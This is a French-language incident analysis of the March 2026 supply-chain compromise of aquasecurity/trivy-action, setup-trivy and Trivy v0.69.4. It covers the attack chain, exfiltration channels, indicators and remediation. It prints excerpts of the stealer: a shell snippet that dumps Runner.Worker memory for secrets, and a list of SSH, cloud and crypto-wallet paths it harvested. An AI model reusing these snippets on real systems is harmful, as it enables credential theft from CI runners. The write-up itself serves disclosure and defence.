Compromission de la chaîne d’approvisionnement de Trivy GitHub Actions

En bref

• Quoi : des attaquants ont forcé la mise à jour du code malveillant sur 75 des 76 tags de version de aquasecurity/trivy-action, et compromis setup-trivy ainsi que le binaire Trivy v0.69.4

• Période d’exposition : \~12 heures (du 19 mars à 17:43 UTC au 20 mars vers 05:40 UTC)

• Impact : secrets CI/CD dérobés par vidage de la mémoire des processus Runner ; clés SSH, identifiants cloud et portefeuilles crypto dérobés sur des runners auto-hébergés

• Attribution : TeamPCP (DeadCatx3/PCPcat/ShellForce), un groupe malveillant ciblant les infrastructures cloud natives

• Cause première : identifiants obtenus lors d’une compromission antérieure, le 1er mars, elle-même due à un exploit de workflow pull_request_target

• Versions sûres : trivy v0.69.3, trivy-action v0.35.0, setup-trivy v0.2.6

• CVE : aucune attribution pour le moment (la communauté en a demandé une)

• Mesure à prendre : épinglez les SHA des commits et faites tourner tous les secrets de pipeline si vous avez exécuté une version affectée pendant cette période.

Le 19 mars 2026, des attaquants ont forcé la mise à jour du code malveillant sur 75 des 76 tags de version de aquasecurity/trivy-action, la GitHub Action officielle de l’un des scanners de vulnérabilités open source les plus utilisés dans l’écosystème de la sécurité des conteneurs. La charge malveillante a dérobé discrètement des secrets CI/CD avant de lancer l’analyse légitime de Trivy : les pipelines affectés semblaient donc fonctionner normalement.

Il s’agissait de la deuxième compromission de l’infrastructure Trivy en moins de trois semaines. L’attaquant a exploité des identifiants obtenus lors du premier incident. Si votre pipeline CI/CD utilise Trivy via GitHub Actions, vous pourriez être concerné. Voici ce qui s’est passé, comment vérifier et quelles mesures prendre.

Que s’est-il passé ?

L’attaque du 19 mars a visé simultanément trois dépôts d’Aqua Security :

• aquasecurity/trivy-action : 75 des 76 tags de version réécrits pour pointer vers des commits malveillants contenant un voleur d’identifiants

• aquasecurity/setup-trivy : sept anciens tags de version supprimés puis recréés avec du code malveillant ; seul v0.2.6 est resté sain

• Binaire Trivy v0.69.4 : une version malveillante publiée dans le dépôt officiel, puis diffusée sur Docker Hub (aquasec/trivy:0.69.4), GitHub Container Registry et AWS ECR

L’attaquant a réécrit des tags de version existants pour les faire pointer vers de nouveaux commits contenant un fichier entrypoint.sh modifié. Dès qu’un pipeline CI/CD récupérait trivy-action par tag (par exemple @v0.34.2, @v0.33.0 ou l’une des dizaines d’anciennes versions), le point d’entrée malveillant s’exécutait avant l’analyse légitime de Trivy et dérobait discrètement des identifiants.

Seule la version v0.35.0 n’a pas été affectée. Elle pointait déjà vers le commit HEAD de master, utilisé comme base pour les versions malveillantes ; l’automatisation de l’attaquant l’a donc ignorée.

Chronologie des événements du 19 mars (UTC) [^1]

Comment l’attaque a commencé

Cette attaque est l’aboutissement d’une opération en plusieurs étapes, amorcée plusieurs semaines plus tôt.

Étape 1 : l’exploit pull_request_target (fin février)

Un acteur malveillant opérant sous le pseudonyme GitHub hackerbot-claw (compte créé le 20 février 2026) a mené une campagne automatisée visant les dépôts publics pour repérer les workflows GitHub Actions mal configurés. La campagne ciblait en particulier les workflows utilisant le déclencheur pull_request_target avec des autorisations de jeton trop étendues. Parmi les cibles figuraient Microsoft, DataDog, la CNCF et Aqua Security.

L’événement pull_request_target est un risque connu dans GitHub Actions. Contrairement à pull_request, il s’exécute dans le contexte du dépôt de base, et non du fork. Les workflows déclenchés par pull_request_target ont donc accès aux secrets du dépôt de base. Si un tel workflow récupère également le code de la pull request (issue du fork), un attaquant peut soumettre une PR contenant du code malveillant qui s’exécute avec accès à ces secrets.

Nous avons analysé ce type précis d’attaque dans notre étude de l’attaque de la chaîne d’approvisionnement d’Ultralytics AI en décembre 2024 : une injection de modèle via des noms de branches avait permis aux attaquants d’exécuter du code arbitraire dans des contextes de workflow privilégiés.

Le dépôt Trivy comportait un workflow pull_request_target vulnérable, présent depuis octobre 2025. L’outil poutine de Boost Security l’avait signalé le 29 novembre 2025, plus de trois mois avant son exploitation. Le 28 février, hackerbot-claw a exploité ce workflow pour dérober un jeton d’accès personnel (PAT) limité à l’organisation (ORG_REPO_TOKEN) appartenant au compte de service aqua-bot. Ce PAT était utilisé dans au moins 33 workflows de l’organisation GitHub d’Aqua Security.

Étape 2 : première compromission (1er mars)

À l’aide du PAT dérobé, l’attaquant a :

• Rendu temporairement privé le dépôt Trivy

• Supprimé les versions GitHub comprises entre v0.27.0 et v0.69.1

• Publié une extension Trivy malveillante pour VS Code via OpenVSX, qui tentait d’exploiter les agents de codage IA locaux

• Exfiltré d’autres identifiants de l’environnement CI

Aqua Security a révélé l’incident dans la discussion GitHub #10265 et a commencé à renouveler les secrets et les jetons. Comme l’équipe Trivy l’a indiqué par la suite, « le processus n’était pas atomique, et les attaquants ont peut-être eu accès aux jetons renouvelés ».

Étape 3 : deuxième compromission (19 mars)

Vingt jours plus tard, l’attaquant est revenu avec une charge plus complexe : un voleur d’identifiants en plusieurs étapes attribué à TeamPCP (également connu sous les noms DeadCatx3, PCPcat et ShellForce), un groupe malveillant réputé pour cibler les infrastructures cloud natives, notamment à des fins de vol de cryptomonnaies.

Dans une autre tactique visant à contrer la réponse à l’incident, l’attaquant a utilisé le compte compromis aqua-bot pour supprimer la discussion sur l’incident initial (#10265), ralentissant ainsi la coordination de la réponse par la communauté.

Dans la charge malveillante

Le fichier entrypoint.sh injecté a remplacé le point d’entrée de l’analyse légitime de Trivy par une attaque en trois étapes. Le « voleur cloud de TeamPCP », comme il se désignait lui-même, ciblait différents environnements avec différentes techniques.

Sur les runners hébergés par GitHub

Le malware a exploité l’accès sudo sans mot de passe (standard sur les runners hébergés par GitHub) pour :

1. Vider la mémoire des processus Runner.Worker en lisant /proc/<pid>/mem afin d’extraire les secrets GitHub Actions stockés dans le tas d’exécution .NET

2. Extraire les secrets de la mémoire, en ciblant particulièrement les objets JSON correspondant au modèle {"value":"<secret>","isSecret":true}

3. Parcourir /proc/*/environ pour dérober les variables d’environnement de tous les processus en cours d’exécution

Il s’agit de la même technique de vidage de mémoire que celle documentée lors de la compromission de tj-actions/changed-files en mars 2025. Les secrets transmis aux workflows GitHub Actions sont déchiffrés à l’exécution et stockés dans la mémoire du processus Runner, où tout code exécuté dans le même environnement Runner peut les lire.

Le script complet du voleur a été partagé dans le fil de discussion du ticket trivy-action et analysé indépendamment. Voici l’essentiel de la logique d’extraction de la mémoire :

# Locate Runner.Worker process
runner_pid=$(ps aux | grep 'Runner.Worker' | grep -v grep | awk '{print $2}' | head -1)
# Dump process memory and extract secrets
grep -ao '{"value":"[^"]*","isSecret":true}' /proc/$runner_pid/mem

Sur les runners auto-hébergés

Sur les runners auto-hébergés, le malware a effectué une analyse complète du système de fichiers, parcourant plus de 50 chemins sensibles pour cibler :

• Clés SSH et identifiants Git

• Identifiants de fournisseurs cloud : configurations AWS, GCP et Azure

• Jetons Kubernetes et fichiers kubeconfig

• Identifiants Docker et authentification aux registres

• Chaînes de connexion aux bases de données

• Fichiers d’état Terraform (qui contiennent souvent des secrets en texte brut)

• Portefeuilles de cryptomonnaies : paires de clés Bitcoin, Ethereum, Solana et Cardano

• Fichiers d’environnement : .env et variantes

• Certificats TLS et clés privées

• Fichiers d’historique du shell

• Configurations VPN

Sur les machines des développeurs

Si le malware détectait qu’il ne s’exécutait pas dans GitHub Actions (c.-à-d. GITHUB_ACTIONS != "true"), il installait un mécanisme de persistance : un dropper Python écrit dans ~/.config/systemd/user/sysmon.py, accompagné d’une unité systemd utilisateur. Ce dropper interrogeait régulièrement un point de terminaison ICP (Internet Computer Protocol) contrôlé par l’attaquant pour récupérer d’autres charges utiles.

Exfiltration

Les données collectées étaient chiffrées avec AES-256-CBC et une dérivation de clé PBKDF2, protégées par un padding RSA-4096 OAEP, regroupées dans tpcp.tar.gz, puis envoyées par HTTPS POST au domaine typosquatté scan[.]aquasecurtiy[.]org (notez l’inversion des lettres i et t dans « security »). Le serveur C2 se trouvait à l’adresse IP 45.148.10.212, enregistrée au nom de TECHOFF SRV LIMITED à Amsterdam.

Si le canal d’exfiltration principal échouait, le malware disposait de deux mécanismes de secours :

1. Cloudflare Tunnel : exfiltration via plug-tab-protective-relay.trycloudflare.com

2. GitHub comme boîte morte : à l’aide du jeton INPUT_GITHUB_PAT de la victime, le malware créait un dépôt public nommé tpcp-docs sur le compte GitHub de la victime et y téléversait les données chiffrées dérobées sous forme d’éléments de version. L’attaquant pouvait ensuite retrouver ces dépôts en effectuant une recherche sur GitHub.

L’étendue complète du vol d’identifiants

Le script Python du voleur, décodé depuis setup-trivy (récupéré à partir d’une exécution de workflow capturée), révèle l’ampleur exhaustive du vol d’identifiants. Le malware ciblait plus de 50 chemins du système de fichiers, notamment :

# SSH keys and configs
'/.ssh/id_rsa', '/.ssh/id_ed25519', '/.ssh/id_ecdsa', '/.ssh/authorized_keys'

# Cloud credentials
'/.aws/credentials', '/.aws/config'
'/.config/gcloud/application_default_credentials.json'
'/.azure/*'
'/.kube/config'

# CI/CD and infrastructure secrets
'/.docker/config.json', '/.npmrc', '/.vault-token', '/.netrc'
'terraform.tfvars', 'terraform.tfstate'

# Cryptocurrency wallets (50+ paths)
'/.bitcoin/wallet.dat', '/.ethereum/keystore/*'
'/.config/solana/*', '/.cardano/*.skey'
'/validator-keypair.json', '/vote-account-keypair.json'

Le script tentait également d’accéder aux services de métadonnées cloud (169.254.169.254, 169.254.170.2) pour obtenir des identifiants IAM, exécutait kubectl get secrets --all-namespaces et recherchait récursivement des clés d’API, des URL de webhooks et des chaînes de connexion à des bases de données.

Le faux binaire trivy (v0.69.4)

Au-delà des données dérobées aux utilisateurs de l’action, le workflow de publication compromis a également exposé des secrets de grande valeur appartenant à Aqua Security : identifiants Docker Hub, clés d’accès AWS ECR, clés de signature GPG (utilisées pour signer les paquets RPM) et le PAT GitHub limité à l’organisation, utilisé dans plus de 33 workflows.

Le binaire Trivy compromis a adopté une approche différente. Il a réécrit le workflow de publication pour faire référence à actions/checkout@70379aad1a8b40919ce8b382d3cd7d0315cde1d0, qui ressemble à un SHA légitime, mais pointait en réalité vers un commit issu d’un fork, et non du véritable dépôt actions/checkout. Cette attaque exploite un comportement subtil de la plateforme GitHub : une référence uses: owner/repo@<hash> ne vérifie pas que le hash appartient au dépôt indiqué. En raison du partage des objets entre forks dans Git, n’importe quel commit de n’importe quel fork est accessible par SHA. Le processus de build a récupéré des fichiers source Go contenant une porte dérobée depuis le C2, ajouté --skip=validate à GoReleaser pour contourner la validation du build, et remplacé .golangci.yaml pour supprimer les avertissements du linter concernant le code injecté. Les binaires obtenus exécutaient en parallèle le scanner Trivy légitime et le voleur d’identifiants, de sorte que les résultats d’analyse semblaient normaux.

Indicateurs de détection

Les commits malveillants présentaient plusieurs signes révélateurs qui, rétrospectivement, rendaient la falsification visible :

• Commits non signés : les versions originales de Trivy étaient signées avec GPG via l’interface Web de GitHub. Les commits de remplacement ne l’étaient pas.

• Horodatages impossibles : les commits falsifiés reprenaient les dates des versions originales comme horodatages, mais leurs commits parents dataient de mars 2026, créant des relations entre les dates des parents qui étaient impossibles.

• « 0 commits to master since this release » : l’interface des versions de GitHub affichait ce compteur pour des tags qui auraient dû se trouver à de nombreuses versions de master, indiquant que chaque tag pointait vers un commit dont le parent était le HEAD actuel de master.

• Modifications d’un seul fichier : chaque commit malveillant ne modifiait que entrypoint.sh, contrairement aux commits originaux, qui comportaient plusieurs fichiers et dont ils usurpaient l’identité.

Harden-Runner de StepSecurity a détecté des connexions sortantes vers le C2 dans plus de 12 000 dépôts publics grâce à son offre communautaire, ce qui a permis d’avertir directement les projets concernés.

Indicateurs de compromission [^2]

Êtes-vous concerné·e ?

Vous pourriez être concerné·e si :

1. Vos workflows utilisent aquasecurity/trivy-action en faisant référence à un tag (par exemple @v0.34.2, @v0.18.0 ou tout autre tag de version que @v0.35.0)

2. Vos workflows utilisent aquasecurity/setup-trivy dans une version autre que @v0.2.6

3. Vous avez téléchargé Trivy v0.69.4 par téléchargement direct, via Docker (aquasec/trivy:0.69.4) ou via GHCR entre le 19 et le 20 mars 2026

4. L’un des éléments ci-dessus a été exécuté pendant la période d’exposition : du 19 mars 2026 à 17:43 UTC au 20 mars 2026 vers \~05:40 UTC

La période d’exposition confirmée a duré environ 12 heures. Si votre trivy-action s’est exécuté en dehors de cette période, vous n’avez pas été touché par la compromission des tags (mais pensez tout de même à épingler les actions sur des SHA à l’avenir).

Remarque sur les références @master : interrogé sur la sécurité des workflows épinglés sur aquasecurity/trivy-action@master, le responsable de la maintenance de Trivy, DmitriyLewen, a répondu : « Nous ne savons pas comment l’attaquant a créé le commit orphelin. Je ne peux donc pas vous dire que aquasecurity/trivy-action@master était sûr à 100 %. »

Remarque sur Homebrew : bien que Homebrew ait initialement récupéré la version v0.69.4, il compile à partir d’archives de code source. Le binaire compilé n’était pas compromis. Une PR de rétrogradation d’urgence a tout de même été déposée (Homebrew/homebrew-core#273304).

Comment vérifier

Recherchez les références à trivy-action dans vos fichiers de workflow :

# Search your repos for trivy-action usage
grep -r "aquasecurity/trivy-action" .github/workflows/
grep -r "aquasecurity/setup-trivy" .github/workflows/

Consultez les journaux d’exécution de GitHub Actions pour la période concernée. Recherchez les exécutions postérieures au 19 mars 2026 à 17:43 UTC qui ont utilisé trivy-action.

Vérifiez la présence du mécanisme d’exfiltration de secours :

# Search your GitHub org for the attacker's dead-drop repos
gh repo list YOUR-ORG --json name -q '.[].name' | grep tpcp-docs

Consultez les journaux réseau pour repérer les connexions au domaine C2 (scan[.]aquasecurtiy[.]org) ou à l’adresse IP (45.148.10.212).

Mesures correctives immédiates

1. Cessez d’utiliser trivy-action avec un tag

Supprimez ou mettez immédiatement à jour toutes les références dans vos workflows. Options sûres :

# Option A: Pin to a known-safe commit SHA
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

# Option B: Use the only uncompromised tag (verify SHA first)
- uses: aquasecurity/trivy-action@v0.35.0

Pour setup-trivy, seule la version v0.2.6 est sûre.

2. Renouvelez tous les identifiants

Si une action concernée s’est exécutée dans votre pipeline, considérez que tous les secrets accessibles à ce workflow sont compromis. Cela comprend :

• Les jetons GitHub (GITHUB_TOKEN et tous les PAT)

• Les identifiants des fournisseurs cloud (clés d’accès AWS, clés de compte de service GCP, identifiants Azure)

• Les jetons de registre de conteneurs (Docker Hub, GHCR, ECR, etc.)

• Les clés SSH

• Les mots de passe des bases de données

• Les clés API et les secrets des webhooks

3. Recherchez les mécanismes de persistance de l’attaquant

Sur les runners auto-hébergés et les machines des développeurs, recherchez le mécanisme de persistance :

# Check for the TeamPCP dropper
ls -la ~/.config/systemd/user/sysmon.py
systemctl --user list-units | grep sysmon

4. Vérifiez la présence du mécanisme d’exfiltration de secours

Recherchez dans votre organisation GitHub les dépôts nommés tpcp-docs. Si vous en trouvez un, l’attaquant a réussi à exfiltrer des données de votre pipeline.

5. Exécutez le scanner de compromission

StepSecurity a publié un outil dédié, trivy-compromise-scanner, qui audite les journaux d’exécution des workflows GitHub Actions dans plusieurs dépôts ou dans des organisations entières, afin de repérer les exécutions ayant utilisé une référence d’action compromise pendant la période de l’attaque.

Mesures prises depuis par Aqua Security

À la suite de l’incident, les responsables de la maintenance de Trivy ont :

• Rétabli tous les tags trivy-action sur leurs commits sûrs d’origine, avec une nouvelle convention de nommage utilisant le préfixe v (par exemple, 0.34.0 devient v0.34.0)

• Activé les versions immuables dans les dépôts trivy, trivy-action et setup-trivy, empêchant ainsi toute modification forcée des tags à l’avenir

• Supprimé tous les artefacts malveillants de Docker Hub, GHCR, AWS ECR et GitHub Releases

• Renforcé les contrôles des actions automatisées et des jetons dans toute l’organisation

Comme l’a indiqué le responsable de la maintenance DmitriyLewen dans le fil de discussion : « Quoi qu’il arrive, il vaut toujours mieux utiliser des hashes de commit. »

CVE-2026-28353 (CVSS 10.0) a été attribuée à la compromission de l’extension VS Code lors du premier incident, mais aucun CVE n’a été attribué spécifiquement à l’attaque par détournement de tags du 19 mars, malgré les demandes de la communauté pour une divulgation officielle. Une vulnérabilité distincte et antérieure (CVE-2026-26189 / GHSA-9p44-j4g5-cfx5, CVSS 5.9), liée à l’injection de scripts dans l’action composite, avait été corrigée dans la version v0.34.0 avant l’attaque de la chaîne d’approvisionnement.

Harden-Runner de StepSecurity a déjà déposé des alertes de sécurité auprès de projets open source concernés, notamment Fluent Bit (CNCF), k8gb (DNS Kubernetes), HL7 FHIR IG Publisher (normes du secteur de la santé) et Charmed Kubeflow de Canonical.

Leçons à tirer pour sécuriser GitHub Actions

Cet incident, ajouté à la compromission de tj-actions/changed-files et à l’attaque Clinejection contre le pipeline CI/CD de Cline, confirme une tendance : les attaques de la chaîne d’approvisionnement visant GitHub Actions constituent un risque récurrent pour les organisations qui utilisent le CI/CD. Si vous n’avez pas récemment audité la posture de sécurité de votre pipeline, c’est le moment.

Épinglez les actions sur des SHA de commit, pas sur des tags

Les tags sont modifiables. Toute personne disposant d’un accès en écriture peut forcer la mise à jour d’un tag pour le faire pointer vers un tout autre commit. Les SHA de commit, eux, sont immuables.

# Vulnerable: tag can be rewritten at any time
- uses: aquasecurity/trivy-action@v0.34.2

# Secure: commit SHA is immutable
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

C’est la mesure de protection la plus importante contre ce type d’attaque. Le guide de renforcement de la sécurité de GitHub recommande lui-même d’épingler les actions sur des SHA de commit complets.

Des outils comme zizmor (analyse statique des workflows GitHub Actions), pinact (épinglage automatique sur SHA), secure-repo de StepSecurity et l’option pinGitHubActionDigests de Renovate permettent d’automatiser cette mesure dans toute votre organisation.

Auditez les workflows pull_request_target

La cause première de toute cette chaîne d’attaques était un workflow pull_request_target mal configuré. Si vos dépôts utilisent ce déclencheur d’événement, auditez-les attentivement :

• Récupère-t-il le code de la PR ? Si oui, il est probablement vulnérable.

• Dispose-t-il de permissions d’écriture ou d’un accès aux secrets ? Réduisez ces privilèges au minimum.

• Pouvez-vous utiliser pull_request à la place ? Dans la plupart des cas, oui.

L’incident Ultralytics a mis en évidence le même type de vulnérabilité. C’était aussi le cas de l’attaque Clinejection, où une injection de prompt dans le titre d’une issue GitHub a permis aux attaquants d’exécuter du code dans le contexte d’un workflow privilégié.

Utilisez des jetons limités à un dépôt, pas des PAT à l’échelle de l’organisation

Le jeton volé ORG_REPO_TOKEN a donné à l’attaquant accès à plus de 33 workflows de l’organisation Aqua Security. Les jetons limités à un dépôt réduisent l’impact de la compromission d’un identifiant. Pour automatiser les publications, privilégiez les jetons d’accès personnels à granularité fine ou les jetons d’installation d’applications GitHub limités à des dépôts spécifiques.

Surveillez les connexions réseau sortantes du CI/CD

Les compromissions de tj-actions et de Trivy ont toutes deux été détectées au départ grâce à une activité réseau sortante anormale des runners CI. À noter que les mises à jour forcées des tags ne sont pas visibles dans les données d’événements de GitHub Archive, ce qui constitue un angle mort pour la surveillance basée sur les événements. La surveillance réseau à l’exécution est actuellement la méthode de détection la plus fiable. Des outils comme Harden-Runner de StepSecurity peuvent surveiller et restreindre l’accès réseau de vos workflows GitHub Actions, tandis que poutine peut analyser des organisations GitHub entières pour détecter les risques liés à la chaîne d’approvisionnement CI/CD.

Exigez des commits signés par GPG pour les versions

Les commits malveillants de cette attaque n’étaient pas signés, contrairement aux versions légitimes, qui l’étaient par GPG. La vérification des signatures sur les tags de version constitue une couche de protection qui rend ce type d’attaque plus difficile à mener sans être détecté.

Appliquez une rotation complète des identifiants

L’attaque du 19 mars a exploité des identifiants qui avaient échappé à la rotation effectuée après l’incident du 1er mars, comme l’a reconnu Aqua Security. Cela rappelle une leçon tirée de l’incident de rotation des secrets de CircleCI : en cas de compromission d’identifiants :

• Renouvelez tous les identifiants simultanément (ou le plus simultanément possible)

• Partez du principe que tout identifiant accessible depuis l’environnement compromis a été exfiltré

• Vérifiez la rotation en confirmant que les anciens identifiants ont été invalidés, et pas seulement que les nouveaux fonctionnent

Vue d’ensemble

Presque exactement un an après la compromission de tj-actions/changed-files, le même type d’attaque s’est reproduit. Les similitudes structurelles méritent d’être examinées :

L’incident Trivy montre comment des schémas d’attaque connus contre la chaîne d’approvisionnement se combinent dans la pratique. Aucune vulnérabilité prise isolément n’était nouvelle :

• Les mauvaises configurations de pull_request_target sont documentées depuis des années

• La mutabilité des tags dans GitHub Actions est une limitation de conception connue

• L’extraction mémoire des processus Runner.Worker a été observée pour la première fois lors de la compromission de tj-actions

• Les domaines C2 de typosquatting sont une technique d’exfiltration courante

L’efficacité de cette attaque tient à la combinaison de ces techniques dans le cadre d’une campagne persistante à plusieurs étapes. L’exploitation initiale de pull_request_target a entraîné le vol d’identifiants, que l’attaquant a utilisés pour lancer une seconde attaque visant des milliers de pipelines en aval.

Pour les équipes de sécurité, la conclusion est claire : votre pipeline CI/CD fait partie de votre surface d’attaque. Les outils qui s’exécutent dans votre pipeline, y compris vos scanners de sécurité, sont des dépendances qui méritent le même niveau d’examen que les dépendances de vos applications. Sécuriser votre pipeline CI/CD exige la même rigueur que la sécurisation du code de vos applications.

Épinglez vos actions à des SHA de commit. Limitez précisément la portée de vos jetons. Renouvelez tous vos secrets. Surveillez le trafic réseau de vos runners. Et en cas d’incident, considérez que tous les identifiants accessibles sont compromis tant que vous n’avez pas pu confirmer le contraire.

Cette actualité est en cours d’évolution. Pour les dernières mises à jour, consultez la communication officielle d’Aqua Security (discussion n° 10425).

Play Video: YouTube Video: 5xngh29yx9A

Comment utiliser les variables d’environnement et les secrets dans GitHub Actions — Découvrez comment gérer correctement les secrets dans vos workflows GitHub Actions afin de réduire votre exposition aux attaques de la chaîne d’approvisionnement.